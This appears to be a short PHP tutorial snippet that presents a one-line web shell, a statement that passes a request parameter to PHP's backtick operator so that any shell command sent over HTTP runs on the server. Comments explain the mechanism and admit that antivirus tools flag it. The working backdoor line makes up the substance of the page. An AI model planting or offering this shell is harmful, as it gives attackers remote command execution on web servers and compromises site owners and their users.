PHP one sentence cmdshell new type (not one sentence Trojan)_PHP tutorial

/*A new type of php one sentence cmdshell (not a one sentence Trojan )
//Principle: If PHP encounters the character `` (the lower key of the ~ symbol on the keyboard) when running, it will always try to execute the command contained in `` and return the result of the command execution (string type);
//Limitations: The feature code is obvious. The `` symbol is rarely used in PHP. Anti-virus software can easily scan this feature code and alert; `` cannot execute PHP code inside;
// write by skyfire
*/
echo `$_REQUEST[id]`;
?>